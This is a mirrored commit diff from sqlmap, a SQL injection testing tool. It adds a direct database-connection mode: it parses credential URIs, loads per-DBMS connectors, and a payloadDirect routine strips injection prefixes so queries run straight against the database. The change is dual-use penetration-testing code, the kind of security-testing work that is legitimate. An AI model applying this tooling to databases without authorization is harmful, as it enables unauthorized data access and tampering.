mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-01-24 08:14:24 +03:00
Major enhancement to directly connect to the dbms without passing via a sql injection: adapted code accordingly - see #158. This feature relies on python third-party libraries to be able to connect to the database. For the moment it has been implemented for MySQL (with python-mysqldb module) and PostgreSQL (with python-psycopg2 module).
Minor layout adjustments.
This commit is contained in:
parent
4ca1adba2c
commit
1416cd0d86
|
@ -43,7 +43,7 @@ def action():
|
||||||
|
|
||||||
# First of all we have to identify the back-end database management
|
# First of all we have to identify the back-end database management
|
||||||
# system to be able to go ahead with the injection
|
# system to be able to go ahead with the injection
|
||||||
conf.dbmsHandler = setHandler()
|
setHandler()
|
||||||
|
|
||||||
if not conf.dbmsHandler:
|
if not conf.dbmsHandler:
|
||||||
htmlParsed = getHtmlErrorFp()
|
htmlParsed = getHtmlErrorFp()
|
||||||
|
@ -166,3 +166,6 @@ def action():
|
||||||
# Miscellaneous options
|
# Miscellaneous options
|
||||||
if conf.cleanup:
|
if conf.cleanup:
|
||||||
conf.dbmsHandler.cleanup()
|
conf.dbmsHandler.cleanup()
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
conf.dbmsConnector.close()
|
||||||
|
|
|
@ -76,7 +76,7 @@ def __selectInjection(injData):
|
||||||
return "Quit"
|
return "Quit"
|
||||||
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "Invalid choice, retry"
|
warnMsg = "invalid choice, retry"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
__selectInjection(injData)
|
__selectInjection(injData)
|
||||||
|
|
||||||
|
@ -92,6 +92,13 @@ def start():
|
||||||
if not conf.start:
|
if not conf.start:
|
||||||
return
|
return
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
initTargetEnv()
|
||||||
|
setupTargetEnv()
|
||||||
|
action()
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
if conf.url:
|
if conf.url:
|
||||||
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
|
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
|
||||||
|
|
||||||
|
@ -104,9 +111,9 @@ def start():
|
||||||
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
|
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
hostCount = 0
|
hostCount = 0
|
||||||
cookieStr = ""
|
cookieStr = ""
|
||||||
setCookieAsInjectable = True
|
setCookieAsInjectable = True
|
||||||
|
|
||||||
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
|
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -34,12 +34,19 @@ from lib.core.settings import ACCESS_ALIASES
|
||||||
from lib.core.settings import FIREBIRD_ALIASES
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
|
|
||||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||||
|
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
||||||
from plugins.dbms.mysql import MySQLMap
|
from plugins.dbms.mysql import MySQLMap
|
||||||
|
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
||||||
from plugins.dbms.oracle import OracleMap
|
from plugins.dbms.oracle import OracleMap
|
||||||
|
from plugins.dbms.oracle.connector import Connector as OracleConn
|
||||||
from plugins.dbms.postgresql import PostgreSQLMap
|
from plugins.dbms.postgresql import PostgreSQLMap
|
||||||
|
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
||||||
from plugins.dbms.sqlite import SQLiteMap
|
from plugins.dbms.sqlite import SQLiteMap
|
||||||
|
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||||
from plugins.dbms.access import AccessMap
|
from plugins.dbms.access import AccessMap
|
||||||
|
from plugins.dbms.access.connector import Connector as AccessConn
|
||||||
from plugins.dbms.firebird import FirebirdMap
|
from plugins.dbms.firebird import FirebirdMap
|
||||||
|
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||||
|
|
||||||
def setHandler():
|
def setHandler():
|
||||||
"""
|
"""
|
||||||
|
@ -50,16 +57,16 @@ def setHandler():
|
||||||
count = 0
|
count = 0
|
||||||
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird" )
|
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird" )
|
||||||
dbmsMap = (
|
dbmsMap = (
|
||||||
( MYSQL_ALIASES, MySQLMap ),
|
( MYSQL_ALIASES, MySQLMap, MySQLConn ),
|
||||||
( ORACLE_ALIASES, OracleMap ),
|
( ORACLE_ALIASES, OracleMap, OracleConn ),
|
||||||
( PGSQL_ALIASES, PostgreSQLMap ),
|
( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
|
||||||
( MSSQL_ALIASES, MSSQLServerMap ),
|
( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ),
|
||||||
( SQLITE_ALIASES, SQLiteMap ),
|
( SQLITE_ALIASES, SQLiteMap, SQLiteConn ),
|
||||||
( ACCESS_ALIASES, AccessMap ),
|
( ACCESS_ALIASES, AccessMap, AccessConn ),
|
||||||
( FIREBIRD_ALIASES, FirebirdMap ),
|
( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
|
||||||
)
|
)
|
||||||
|
|
||||||
for dbmsAliases, dbmsEntry in dbmsMap:
|
for dbmsAliases, dbmsMap, dbmsConn in dbmsMap:
|
||||||
if conf.dbms and conf.dbms not in dbmsAliases:
|
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||||
debugMsg = "skipping test for %s" % dbmsNames[count]
|
debugMsg = "skipping test for %s" % dbmsNames[count]
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
@ -68,12 +75,15 @@ def setHandler():
|
||||||
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
handler = dbmsEntry()
|
handler = dbmsMap()
|
||||||
|
conf.dbmsConnector = dbmsConn()
|
||||||
|
|
||||||
if handler.checkDbms():
|
if handler.checkDbms():
|
||||||
if not conf.dbms or conf.dbms in dbmsAliases:
|
if not conf.dbms or conf.dbms in dbmsAliases:
|
||||||
kb.dbmsDetected = True
|
kb.dbmsDetected = True
|
||||||
|
|
||||||
return handler
|
conf.dbmsHandler = handler
|
||||||
|
|
||||||
return None
|
return
|
||||||
|
else:
|
||||||
|
conf.dbmsConnector = None
|
||||||
|
|
|
@ -44,12 +44,25 @@ class Agent:
|
||||||
temp.start = randomStr(6)
|
temp.start = randomStr(6)
|
||||||
temp.stop = randomStr(6)
|
temp.stop = randomStr(6)
|
||||||
|
|
||||||
|
def payloadDirect(self, query):
|
||||||
|
if query.startswith(" AND "):
|
||||||
|
query = query.replace(" AND ", "SELECT ")
|
||||||
|
elif query.startswith(" UNION ALL "):
|
||||||
|
query = query.replace(" UNION ALL ", "")
|
||||||
|
elif query.startswith("; "):
|
||||||
|
query = query.replace("; ", "")
|
||||||
|
|
||||||
|
return query
|
||||||
|
|
||||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
||||||
"""
|
"""
|
||||||
This method replaces the affected parameter with the SQL
|
This method replaces the affected parameter with the SQL
|
||||||
injection statement to request
|
injection statement to request
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
return self.payloadDirect(newValue)
|
||||||
|
|
||||||
falseValue = ""
|
falseValue = ""
|
||||||
negValue = ""
|
negValue = ""
|
||||||
retValue = ""
|
retValue = ""
|
||||||
|
@ -83,6 +96,9 @@ class Agent:
|
||||||
return retValue
|
return retValue
|
||||||
|
|
||||||
def fullPayload(self, query):
|
def fullPayload(self, query):
|
||||||
|
if conf.direct:
|
||||||
|
return self.payloadDirect(query)
|
||||||
|
|
||||||
query = self.prefixQuery(query)
|
query = self.prefixQuery(query)
|
||||||
query = self.postfixQuery(query)
|
query = self.postfixQuery(query)
|
||||||
payload = self.payload(newValue=query)
|
payload = self.payload(newValue=query)
|
||||||
|
@ -96,6 +112,9 @@ class Agent:
|
||||||
identified as valid
|
identified as valid
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
return self.payloadDirect(string)
|
||||||
|
|
||||||
query = ""
|
query = ""
|
||||||
|
|
||||||
if conf.prefix:
|
if conf.prefix:
|
||||||
|
@ -123,6 +142,9 @@ class Agent:
|
||||||
SQL injection request
|
SQL injection request
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
return self.payloadDirect(string)
|
||||||
|
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
randStr = randomStr()
|
randStr = randomStr()
|
||||||
|
|
||||||
|
|
|
@ -47,12 +47,21 @@ from lib.core.data import temp
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
from lib.core.exception import sqlmapFilePathException
|
from lib.core.exception import sqlmapFilePathException
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
|
from lib.core.exception import sqlmapMissingDependence
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
from lib.core.settings import DESCRIPTION
|
from lib.core.settings import DESCRIPTION
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import SITE
|
from lib.core.settings import SITE
|
||||||
from lib.core.settings import SQL_STATEMENTS
|
from lib.core.settings import SQL_STATEMENTS
|
||||||
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
|
from lib.core.settings import SQLITE_ALIASES
|
||||||
|
from lib.core.settings import ACCESS_ALIASES
|
||||||
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
|
|
||||||
def paramToDict(place, parameters=None):
|
def paramToDict(place, parameters=None):
|
||||||
"""
|
"""
|
||||||
|
@ -319,7 +328,7 @@ def getDirs(webApi=None):
|
||||||
[directories.add(directory) for directory in defaultDirs]
|
[directories.add(directory) for directory in defaultDirs]
|
||||||
|
|
||||||
return directories
|
return directories
|
||||||
|
|
||||||
def filePathToString(filePath):
|
def filePathToString(filePath):
|
||||||
strRepl = filePath.replace("/", "_").replace("\\", "_")
|
strRepl = filePath.replace("/", "_").replace("\\", "_")
|
||||||
strRepl = strRepl.replace(" ", "_").replace(":", "_")
|
strRepl = strRepl.replace(" ", "_").replace(":", "_")
|
||||||
|
@ -329,18 +338,18 @@ def filePathToString(filePath):
|
||||||
def dataToStdout(data):
|
def dataToStdout(data):
|
||||||
sys.stdout.write(data)
|
sys.stdout.write(data)
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
def dataToSessionFile(data):
|
def dataToSessionFile(data):
|
||||||
if not conf.sessionFile:
|
if not conf.sessionFile:
|
||||||
return
|
return
|
||||||
|
|
||||||
conf.sessionFP.write(data)
|
conf.sessionFP.write(data)
|
||||||
conf.sessionFP.flush()
|
conf.sessionFP.flush()
|
||||||
|
|
||||||
def dataToDumpFile(dumpFile, data):
|
def dataToDumpFile(dumpFile, data):
|
||||||
dumpFile.write(data)
|
dumpFile.write(data)
|
||||||
dumpFile.flush()
|
dumpFile.flush()
|
||||||
|
|
||||||
def dataToOutFile(data):
|
def dataToOutFile(data):
|
||||||
if not data:
|
if not data:
|
||||||
return "No data retrieved"
|
return "No data retrieved"
|
||||||
|
@ -586,10 +595,62 @@ def weAreFrozen():
|
||||||
|
|
||||||
return hasattr(sys, "frozen")
|
return hasattr(sys, "frozen")
|
||||||
|
|
||||||
|
def parseTargetDirect():
|
||||||
|
"""
|
||||||
|
Parse target dbms and set some attributes into the configuration singleton.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not conf.direct:
|
||||||
|
return
|
||||||
|
|
||||||
|
details = None
|
||||||
|
|
||||||
|
for dbms in SUPPORTED_DBMS:
|
||||||
|
details = re.search("^(%s)://(.+?)\:(.+?)\@(.+?)\:([\d]+)\/(.+?)$" % dbms, conf.direct, re.I)
|
||||||
|
|
||||||
|
if details:
|
||||||
|
conf.dbms = details.group(1)
|
||||||
|
conf.dbmsUser = details.group(2)
|
||||||
|
conf.dbmsPass = details.group(3)
|
||||||
|
conf.hostname = details.group(4)
|
||||||
|
conf.port = int(details.group(5))
|
||||||
|
conf.dbmsDb = details.group(6)
|
||||||
|
|
||||||
|
conf.parameters[None] = "direct connection"
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
if not details:
|
||||||
|
errMsg = "invalid target details, valid syntax is for instance: mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME"
|
||||||
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
|
# TODO: add details for others python DBMS libraries
|
||||||
|
dbmsDict = { "Microsoft SQL Server": [MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/"],
|
||||||
|
"MySQL": [MYSQL_ALIASES, "python-mysqldb", "http://mysql-python.sourceforge.net/"],
|
||||||
|
"PostgreSQL": [PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/"],
|
||||||
|
"Oracle": [ORACLE_ALIASES, "", ""],
|
||||||
|
"SQLite": [SQLITE_ALIASES, "", ""],
|
||||||
|
"Access": [ACCESS_ALIASES, "", ""],
|
||||||
|
"Firebird": [FIREBIRD_ALIASES, "", ""] }
|
||||||
|
|
||||||
|
for dbmsName, data in dbmsDict.items():
|
||||||
|
if conf.dbms in data[0]:
|
||||||
|
try:
|
||||||
|
if dbmsName == "Microsoft SQL Server":
|
||||||
|
import pymssql
|
||||||
|
elif dbmsName == "MySQL":
|
||||||
|
import MySQLdb
|
||||||
|
elif dbmsName == "PostgreSQL":
|
||||||
|
import psycopg2
|
||||||
|
except ImportError, _:
|
||||||
|
errMsg = "sqlmap requires %s third-party library " % data[1]
|
||||||
|
errMsg += "in order to directly connect to the database "
|
||||||
|
errMsg += "%s. Download from %s" % (dbmsName, data[2])
|
||||||
|
raise sqlmapMissingDependence, errMsg
|
||||||
|
|
||||||
def parseTargetUrl():
|
def parseTargetUrl():
|
||||||
"""
|
"""
|
||||||
Parse target url and set some attributes into the configuration
|
Parse target url and set some attributes into the configuration singleton.
|
||||||
singleton.
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not conf.url:
|
if not conf.url:
|
||||||
|
|
|
@ -32,6 +32,8 @@ import sys
|
||||||
import struct
|
import struct
|
||||||
import urllib
|
import urllib
|
||||||
|
|
||||||
|
from lib.core.data import conf
|
||||||
|
|
||||||
def base64decode(string):
|
def base64decode(string):
|
||||||
return string.decode("base64")
|
return string.decode("base64")
|
||||||
|
|
||||||
|
@ -77,6 +79,9 @@ def urldecode(string):
|
||||||
return result
|
return result
|
||||||
|
|
||||||
def urlencode(string, safe=":/?%&=", convall=False):
|
def urlencode(string, safe=":/?%&=", convall=False):
|
||||||
|
if conf.direct:
|
||||||
|
return string
|
||||||
|
|
||||||
result = None
|
result = None
|
||||||
|
|
||||||
if string is None:
|
if string is None:
|
||||||
|
|
|
@ -92,7 +92,7 @@ class Dump:
|
||||||
if isinstance(element, str):
|
if isinstance(element, str):
|
||||||
self.__write("[*] %s" % element)
|
self.__write("[*] %s" % element)
|
||||||
elif isinstance(element, (list, tuple, set)):
|
elif isinstance(element, (list, tuple, set)):
|
||||||
self.__write("[*] " + ", ".join(e for e in element))
|
self.__write("[*] " + ", ".join(str(e) for e in element))
|
||||||
|
|
||||||
if elements:
|
if elements:
|
||||||
self.__write("")
|
self.__write("")
|
||||||
|
@ -321,11 +321,11 @@ class Dump:
|
||||||
info = tableValues[column]
|
info = tableValues[column]
|
||||||
value = info["values"][i]
|
value = info["values"][i]
|
||||||
|
|
||||||
if re.search("^[\ *]*$", value):
|
if re.search("^[\ *]*$", str(value)):
|
||||||
value = "NULL"
|
value = "NULL"
|
||||||
|
|
||||||
maxlength = int(info["length"])
|
maxlength = int(info["length"])
|
||||||
blank = " " * (maxlength - len(value))
|
blank = " " * (maxlength - len(str(value)))
|
||||||
self.__write("| %s%s" % (value, blank), n=False)
|
self.__write("| %s%s" % (value, blank), n=False)
|
||||||
|
|
||||||
if not conf.multipleTargets and field == fields:
|
if not conf.multipleTargets and field == fields:
|
||||||
|
|
|
@ -37,6 +37,7 @@ from ConfigParser import ConfigParser
|
||||||
from lib.core.common import getFileType
|
from lib.core.common import getFileType
|
||||||
from lib.core.common import normalizePath
|
from lib.core.common import normalizePath
|
||||||
from lib.core.common import ntToPosixSlashes
|
from lib.core.common import ntToPosixSlashes
|
||||||
|
from lib.core.common import parseTargetDirect
|
||||||
from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.common import paths
|
from lib.core.common import paths
|
||||||
from lib.core.common import randomRange
|
from lib.core.common import randomRange
|
||||||
|
@ -58,6 +59,9 @@ from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
from lib.core.settings import PGSQL_ALIASES
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
|
from lib.core.settings import SQLITE_ALIASES
|
||||||
|
from lib.core.settings import ACCESS_ALIASES
|
||||||
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
from lib.core.settings import SITE
|
from lib.core.settings import SITE
|
||||||
|
@ -493,7 +497,10 @@ def __setDBMS():
|
||||||
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||||
"|".join([alias for alias in MYSQL_ALIASES]),
|
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||||
"|".join([alias for alias in PGSQL_ALIASES]),
|
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||||
"|".join([alias for alias in ORACLE_ALIASES]))
|
"|".join([alias for alias in ORACLE_ALIASES]),
|
||||||
|
"|".join([alias for alias in SQLITE_ALIASES]),
|
||||||
|
"|".join([alias for alias in ACCESS_ALIASES]),
|
||||||
|
"|".join([alias for alias in FIREBIRD_ALIASES]))
|
||||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
|
@ -606,7 +613,7 @@ def __setHTTPAuthentication():
|
||||||
|
|
||||||
elif aTypeLower == "digest":
|
elif aTypeLower == "digest":
|
||||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||||
|
|
||||||
elif aTypeLower == "ntlm":
|
elif aTypeLower == "ntlm":
|
||||||
try:
|
try:
|
||||||
from ntlm import HTTPNtlmAuthHandler
|
from ntlm import HTTPNtlmAuthHandler
|
||||||
|
@ -861,6 +868,7 @@ def __setConfAttributes():
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.cj = None
|
conf.cj = None
|
||||||
|
conf.dbmsConnector = None
|
||||||
conf.dbmsHandler = None
|
conf.dbmsHandler = None
|
||||||
conf.dumpPath = None
|
conf.dumpPath = None
|
||||||
conf.httpHeaders = []
|
conf.httpHeaders = []
|
||||||
|
@ -1045,28 +1053,30 @@ def init(inputOptions=advancedDict()):
|
||||||
__setConfAttributes()
|
__setConfAttributes()
|
||||||
__setKnowledgeBaseAttributes()
|
__setKnowledgeBaseAttributes()
|
||||||
__cleanupOptions()
|
__cleanupOptions()
|
||||||
|
|
||||||
__setRequestFromFile()
|
__setRequestFromFile()
|
||||||
|
|
||||||
parseTargetUrl()
|
|
||||||
|
|
||||||
__setHTTPTimeout()
|
parseTargetUrl()
|
||||||
__setHTTPCookies()
|
parseTargetDirect()
|
||||||
__setHTTPReferer()
|
|
||||||
__setHTTPUserAgent()
|
if conf.url or conf.list or conf.requestFile or conf.googleDork:
|
||||||
__setHTTPExtraHeaders()
|
__setHTTPTimeout()
|
||||||
__setHTTPMethod()
|
__setHTTPCookies()
|
||||||
__setHTTPAuthentication()
|
__setHTTPReferer()
|
||||||
__setHTTPProxy()
|
__setHTTPUserAgent()
|
||||||
|
__setHTTPExtraHeaders()
|
||||||
|
__setHTTPMethod()
|
||||||
|
__setHTTPAuthentication()
|
||||||
|
__setHTTPProxy()
|
||||||
|
__setUnionTech()
|
||||||
|
__setGoogleDorking()
|
||||||
|
__setMultipleTargets()
|
||||||
|
__urllib2Opener()
|
||||||
|
__setDBMS()
|
||||||
|
|
||||||
__setThreads()
|
__setThreads()
|
||||||
__setDBMS()
|
|
||||||
__setOS()
|
__setOS()
|
||||||
__setUnionTech()
|
|
||||||
__setWriteFile()
|
__setWriteFile()
|
||||||
__setMetasploit()
|
__setMetasploit()
|
||||||
__setGoogleDorking()
|
|
||||||
__setMultipleTargets()
|
|
||||||
__urllib2Opener()
|
|
||||||
|
|
||||||
update()
|
update()
|
||||||
queriesParser()
|
queriesParser()
|
||||||
|
|
|
@ -25,6 +25,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
optDict = {
|
optDict = {
|
||||||
# Family: { "parameter_name": "parameter_datatype" },
|
# Family: { "parameter_name": "parameter_datatype" },
|
||||||
"Target": {
|
"Target": {
|
||||||
|
"direct": "string",
|
||||||
"url": "string",
|
"url": "string",
|
||||||
"list": "string",
|
"list": "string",
|
||||||
"requestFile": "string",
|
"requestFile": "string",
|
||||||
|
|
|
@ -43,6 +43,10 @@ def __setRequestParams():
|
||||||
HTTP method POST.
|
HTTP method POST.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
conf.parameters[None] = "direct connection"
|
||||||
|
return
|
||||||
|
|
||||||
__testableParameters = False
|
__testableParameters = False
|
||||||
|
|
||||||
# Perform checks on GET parameters
|
# Perform checks on GET parameters
|
||||||
|
|
|
@ -48,6 +48,9 @@ def cmdLineParser():
|
||||||
"options has to be specified to set the source "
|
"options has to be specified to set the source "
|
||||||
"to get target urls from.")
|
"to get target urls from.")
|
||||||
|
|
||||||
|
target.add_option("-d", dest="direct", help="Direct "
|
||||||
|
"connection to the database")
|
||||||
|
|
||||||
target.add_option("-u", "--url", dest="url", help="Target url")
|
target.add_option("-u", "--url", dest="url", help="Target url")
|
||||||
|
|
||||||
target.add_option("-l", dest="list", help="Parse targets from Burp "
|
target.add_option("-l", dest="list", help="Parse targets from Burp "
|
||||||
|
@ -437,8 +440,8 @@ def cmdLineParser():
|
||||||
|
|
||||||
(args, _) = parser.parse_args()
|
(args, _) = parser.parse_args()
|
||||||
|
|
||||||
if not args.url and not args.list and not args.googleDork and not args.configFile and not args.requestFile and not args.updateAll:
|
if not args.direct and not args.url and not args.list and not args.googleDork and not args.configFile and not args.requestFile and not args.updateAll:
|
||||||
errMsg = "missing a mandatory parameter ('-u', '-l', '-r', '-g', '-c' or '--update'), "
|
errMsg = "missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c' or '--update'), "
|
||||||
errMsg += "-h for help"
|
errMsg += "-h for help"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|
||||||
|
|
|
@ -38,6 +38,7 @@ from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.common import sanitizeAsciiString
|
from lib.core.common import sanitizeAsciiString
|
||||||
from lib.core.exception import sqlmapConnectionException
|
from lib.core.exception import sqlmapConnectionException
|
||||||
|
from lib.core.settings import SQL_STATEMENTS
|
||||||
from lib.request.basic import decodePage
|
from lib.request.basic import decodePage
|
||||||
from lib.request.basic import forgeHeaders
|
from lib.request.basic import forgeHeaders
|
||||||
from lib.request.basic import parseResponse
|
from lib.request.basic import parseResponse
|
||||||
|
@ -263,6 +264,38 @@ class Connect:
|
||||||
string match check ('--string' command line parameter)
|
string match check ('--string' command line parameter)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
values = None
|
||||||
|
select = False
|
||||||
|
|
||||||
|
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||||
|
for sqlStatement in sqlStatements:
|
||||||
|
if value.lower().startswith(sqlStatement) and sqlTitle == "SQL SELECT statement":
|
||||||
|
select = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if select:
|
||||||
|
values = conf.dbmsConnector.select(value)
|
||||||
|
else:
|
||||||
|
values = conf.dbmsConnector.execute(value)
|
||||||
|
|
||||||
|
if values is None or len(values) == 0:
|
||||||
|
return None
|
||||||
|
elif content:
|
||||||
|
if len(values) == 1:
|
||||||
|
if len(values[0]) == 1:
|
||||||
|
return str(list(values)[0][0]), None
|
||||||
|
else:
|
||||||
|
return list(values), None
|
||||||
|
else:
|
||||||
|
return values, None
|
||||||
|
else:
|
||||||
|
for value in values:
|
||||||
|
if value[0] == 1:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
get = None
|
get = None
|
||||||
post = None
|
post = None
|
||||||
cookie = None
|
cookie = None
|
||||||
|
|
|
@ -37,6 +37,7 @@ from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
from lib.core.settings import SQL_STATEMENTS
|
||||||
from lib.techniques.inband.union.use import unionUse
|
from lib.techniques.inband.union.use import unionUse
|
||||||
from lib.techniques.blind.inference import bisection
|
from lib.techniques.blind.inference import bisection
|
||||||
from lib.utils.resume import queryOutputLength
|
from lib.utils.resume import queryOutputLength
|
||||||
|
@ -350,6 +351,32 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
||||||
(if selected).
|
(if selected).
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
expression = agent.payloadDirect(expression)
|
||||||
|
values = None
|
||||||
|
select = False
|
||||||
|
|
||||||
|
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||||
|
for sqlStatement in sqlStatements:
|
||||||
|
if expression.lower().startswith(sqlStatement) and sqlTitle == "SQL SELECT statement":
|
||||||
|
select = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if select:
|
||||||
|
values = conf.dbmsConnector.select(expression)
|
||||||
|
else:
|
||||||
|
values = conf.dbmsConnector.execute(expression)
|
||||||
|
|
||||||
|
if values is None or len(values) == 0:
|
||||||
|
return None
|
||||||
|
elif len(values) == 1:
|
||||||
|
if len(values[0]) == 1:
|
||||||
|
return str(list(values)[0][0])
|
||||||
|
else:
|
||||||
|
return list(values)
|
||||||
|
else:
|
||||||
|
return values
|
||||||
|
|
||||||
expression = cleanQuery(expression)
|
expression = cleanQuery(expression)
|
||||||
expression = expandAsteriskForColumns(expression)
|
expression = expandAsteriskForColumns(expression)
|
||||||
value = None
|
value = None
|
||||||
|
@ -387,6 +414,24 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
||||||
def goStacked(expression, silent=False):
|
def goStacked(expression, silent=False):
|
||||||
expression = cleanQuery(expression)
|
expression = cleanQuery(expression)
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
expression = agent.payloadDirect(expression)
|
||||||
|
values = None
|
||||||
|
select = False
|
||||||
|
|
||||||
|
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||||
|
for sqlStatement in sqlStatements:
|
||||||
|
if expression.lower().startswith(sqlStatement) and sqlTitle == "SQL SELECT statement":
|
||||||
|
select = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if select:
|
||||||
|
values = conf.dbmsConnector.select(expression)
|
||||||
|
else:
|
||||||
|
values = conf.dbmsConnector.execute(expression)
|
||||||
|
|
||||||
|
return None, None
|
||||||
|
|
||||||
debugMsg = "query: %s" % expression
|
debugMsg = "query: %s" % expression
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
|
@ -200,6 +200,9 @@ def unionTest():
|
||||||
SQL injection vulnerability. The test is done up to 3*50 times
|
SQL injection vulnerability. The test is done up to 3*50 times
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
return
|
||||||
|
|
||||||
if conf.uTech == "orderby":
|
if conf.uTech == "orderby":
|
||||||
technique = "ORDER BY clause bruteforcing"
|
technique = "ORDER BY clause bruteforcing"
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -32,6 +32,9 @@ from lib.core.session import setStacked
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
|
|
||||||
def stackedTest():
|
def stackedTest():
|
